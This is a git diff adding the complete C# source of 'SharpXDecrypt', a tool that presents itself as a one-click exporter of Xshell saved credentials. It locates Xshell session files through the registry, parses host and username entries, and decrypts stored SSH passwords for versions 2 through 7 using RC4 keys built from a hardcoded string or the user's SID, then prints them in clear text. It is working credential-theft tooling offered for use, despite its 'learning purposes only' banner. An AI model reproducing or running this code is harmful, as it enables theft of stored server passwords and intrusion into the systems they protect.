diff --git a/C#/Program.cs b/C#/Program.cs new file mode 100644 index 0000000..6fde6ce --- /dev/null +++ b/C#/Program.cs @@ -0,0 +1,36 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.IO; +using System.Linq; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Principal; +using System.Text; + +namespace SharpXDecrypt +{ + class Program + { + static void Main(string[] args) + { + Console.WriteLine(); + Console.WriteLine("Xshell全版本凭证一键导出工具!(支持Xshell 7.0+版本)"); + Console.WriteLine("Author: 0pen1"); + Console.WriteLine("Github: https://github.com/JDArmy"); + Console.WriteLine("[!] WARNING: For learning purposes only,please delete it within 24 hours after downloading!"); + Console.WriteLine(); + XDecrypt(); + Console.WriteLine("[*] read done!"); + } + + public static void XDecrypt() + { + + + XClass.Decrypt(); + } + + } +} diff --git a/C#/RC4.cs b/C#/RC4.cs new file mode 100644 index 0000000..c21086f --- /dev/null +++ b/C#/RC4.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace SharpXDecrypt +{ + class RC4 + { + public static byte[] Encrypt(byte[] pwd, byte[] data) + { + int[] array = new int[256]; + int[] array2 = new int[256]; + byte[] array3 = new byte[data.Length]; + int i; + for (i = 0; i < 256; i++) + { + array[i] = pwd[i % pwd.Length]; + array2[i] = i; + } + int num = i = 0; + for (; i < 256; i++) + { + num = (num + array2[i] + array[i]) % 256; + int num2 = array2[i]; + array2[i] = array2[num]; + array2[num] = num2; + } + int num3 = num = (i = 0); + for (; i < data.Length; i++) + { + num3++; + num3 %= 256; + num += array2[num3]; + num %= 256; + int num2 = array2[num3]; + array2[num3] = array2[num]; + array2[num] = num2; + int num4 = array2[(array2[num3] + array2[num]) % 256]; + array3[i] = (byte)(data[i] ^ num4); + } + return array3; + } + + public static byte[] Decrypt(byte[] pwd, byte[] data) + { + return Encrypt(pwd, data); + } + } +} diff --git a/C#/Utils.cs b/C#/Utils.cs new file mode 100644 index 0000000..522435a --- /dev/null +++ b/C#/Utils.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.IO; +using System.Linq; +using System.Security.AccessControl; +using System.Security.Principal; +using System.Text; + +namespace SharpXDecrypt +{ + class Utils + { + public struct UserSID + { + public string Name; + public string SID; + } + public static UserSID GetUserSID() + { + UserSID userSID; + Console.WriteLine("[*] Start GetUserSID...."); + WindowsIdentity current = WindowsIdentity.GetCurrent(); + userSID.Name = current.Name.ToString().Split('\\')[1]; + userSID.SID = current.User.ToString(); + Console.WriteLine(" Username: " + userSID.Name); + Console.WriteLine(" userSID: " + userSID.SID); + Console.WriteLine("[*] GetUserSID Success !"); + Console.WriteLine(); + return userSID; + } + } +} diff --git a/C#/XClass.cs b/C#/XClass.cs new file mode 100644 index 0000000..e5d8722 --- /dev/null +++ b/C#/XClass.cs @@ -0,0 +1,224 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace SharpXDecrypt +{ + class XClass + { + public struct Xsh + { + public string host; + public string userName; + public string password; + public string encryptPw; + public string version; + } + static private Boolean enableMaterPasswd = false; + static private string hashMasterPasswd = null; + public static Boolean Decrypt() + { + List userDataPaths = GetUserDataPath(); + Utils.UserSID userSID = Utils.GetUserSID(); + foreach (string userDataPath in userDataPaths) + { + CheckMasterPw(userDataPath); + List xshPathList = EnumXshPath(userDataPath); + foreach (string xshPath in xshPathList) + { + Xsh xsh = XSHParser(xshPath); + if (xsh.encryptPw != null) + { + Console.WriteLine(" XSHPath: " + xshPath); + xsh.password = Xdecrypt(xsh, userSID); + Console.WriteLine(" Host: " + xsh.host); + Console.WriteLine(" UserName: " + xsh.userName); + Console.WriteLine(" Password: " + xsh.password); + Console.WriteLine(" Version: " + xsh.version); + Console.WriteLine(); + } + } + } + return true; + } + public static string Xdecrypt(Xsh xsh, Utils.UserSID userSID) + { + string password = null; + if (!enableMaterPasswd) + { + if (xsh.version.StartsWith("5.0") || xsh.version.StartsWith("4") || xsh.version.StartsWith("3") || xsh.version.StartsWith("2")) + { + byte[] data = Convert.FromBase64String(xsh.encryptPw); + byte[] Key = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes("!X@s#h$e%l^l&")); + byte[] passData = new byte[data.Length - 0x20]; + Array.Copy(data, 0, passData, 0, data.Length - 0x20); + byte[] decrypted = RC4.Decrypt(Key, passData); + password = Encoding.ASCII.GetString(decrypted); + } + else if (xsh.version.StartsWith("5.1") || xsh.version.StartsWith("5.2")) + { + byte[] data = Convert.FromBase64String(xsh.encryptPw); + byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(userSID.SID)); + byte[] passData = new byte[data.Length - 0x20]; + Array.Copy(data, 0, passData, 0, data.Length - 0x20); + byte[] decrypted = RC4.Decrypt(Key, passData); + password = Encoding.ASCII.GetString(decrypted); + } + else if (xsh.version.StartsWith("5") || xsh.version.StartsWith("6")) + { + byte[] data = Convert.FromBase64String(xsh.encryptPw); + byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(userSID.Name + userSID.SID)); + byte[] passData = new byte[data.Length - 0x20]; + Array.Copy(data, 0, passData, 0, data.Length - 0x20); + byte[] decrypted = RC4.Decrypt(Key, passData); + password = Encoding.ASCII.GetString(decrypted); + }else if (xsh.version.StartsWith("7")) + { + string strkey1 = new string(userSID.Name.ToCharArray().Reverse().ToArray()) + userSID.SID; + string strkey2 = new string(strkey1.ToCharArray().Reverse().ToArray()); + byte[] data = Convert.FromBase64String(xsh.encryptPw); + byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(strkey2)); + byte[] passData = new byte[data.Length - 0x20]; + Array.Copy(data, 0, passData, 0, data.Length - 0x20); + byte[] decrypted = RC4.Decrypt(Key, passData); + password = Encoding.ASCII.GetString(decrypted); + } + } + else + { + Console.WriteLine(" MasterPassword Enable !"); + } + return password; + } + + public static void DecryptMasterPw() + { + + } + public static Xsh XSHParser(string xshPath) + { + Xsh xsh; + xsh.host = null; + xsh.userName = null; + xsh.password = null; + xsh.version = null; + xsh.encryptPw = null; + using (StreamReader sr = new StreamReader(xshPath)) + { + string rawPass; + while ((rawPass = sr.ReadLine()) != null) + { + if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Host=(.*?)")) + { + xsh.host = rawPass.Replace("Host=", ""); + } + if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Password=(.*?)")) + { + rawPass = rawPass.Replace("Password=", ""); + rawPass = rawPass.Replace("\r\n", ""); + if (rawPass.Equals("")) + { + continue; + } + xsh.encryptPw = rawPass; + } + if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"UserName=(.*?)")) + { + xsh.userName = rawPass.Replace("UserName=", ""); + } + if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Version=(.*?)")) + { + xsh.version = rawPass.Replace("Version=", ""); + } + } + } + return xsh; + } + + + public static List EnumXshPath(string userDataPath) + { + List xshPathList = new List(); + string sessionsPath = userDataPath + "\\Xshell\\Sessions"; + if (Directory.Exists(sessionsPath))//判断是否存在 + { + DirectoryInfo directoryInfo = new DirectoryInfo(sessionsPath); + FileInfo[] files = directoryInfo.GetFiles(); + foreach (FileInfo fileInfo in files) + { + string name = fileInfo.Name; + if (fileInfo.Extension.Equals(".xsh")) + { + string sessionPath = sessionsPath + "\\" + name; + xshPathList.Add(sessionPath); + } + } + } + return xshPathList; + } + public static List GetUserDataPath() + { + Console.WriteLine("[*] Start GetUserPath...."); + List userDataPath = new List(); + string strRegPath = @"Software\\NetSarang\\Common"; + RegistryKey regRootKey; + RegistryKey regSubKey; + regRootKey = Registry.CurrentUser; + regSubKey = regRootKey.OpenSubKey(strRegPath); + foreach (string version in regSubKey.GetSubKeyNames()) + { + if (!version.Equals("LiveUpdate")) + { + string strUserDataRegPath = strRegPath + "\\" + version + "\\UserData"; + regSubKey = regRootKey.OpenSubKey(strUserDataRegPath); + Console.WriteLine(" UserPath: " + regSubKey.GetValue("UserDataPath")); + userDataPath.Add(regSubKey.GetValue("UserDataPath").ToString()); + } + } + regSubKey.Close(); + regRootKey.Close(); + Console.WriteLine("[*] Get UserPath Success !"); + Console.WriteLine(); + return userDataPath; + } + public static void CheckMasterPw(string userDataPath) + { + string masterPwPath = userDataPath + "\\common\\MasterPassword.mpw"; + using (StreamReader sr = new StreamReader(masterPwPath)) + { + string rawPass; + while ((rawPass = sr.ReadLine()) != null) + { + if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"EnblMasterPasswd=(.*?)")) + { + rawPass = rawPass.Replace("EnblMasterPasswd=", ""); + if (rawPass.Equals("1")) + { + enableMaterPasswd = true; + } + else + { + enableMaterPasswd = false; + } + } + if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"HashMasterPasswd=(.*?)")) + { + rawPass = rawPass.Replace("HashMasterPasswd=", ""); + if (rawPass.Length > 1) + { + hashMasterPasswd = rawPass; + } + else + { + hashMasterPasswd = null; + } + } + } + } + } + } +}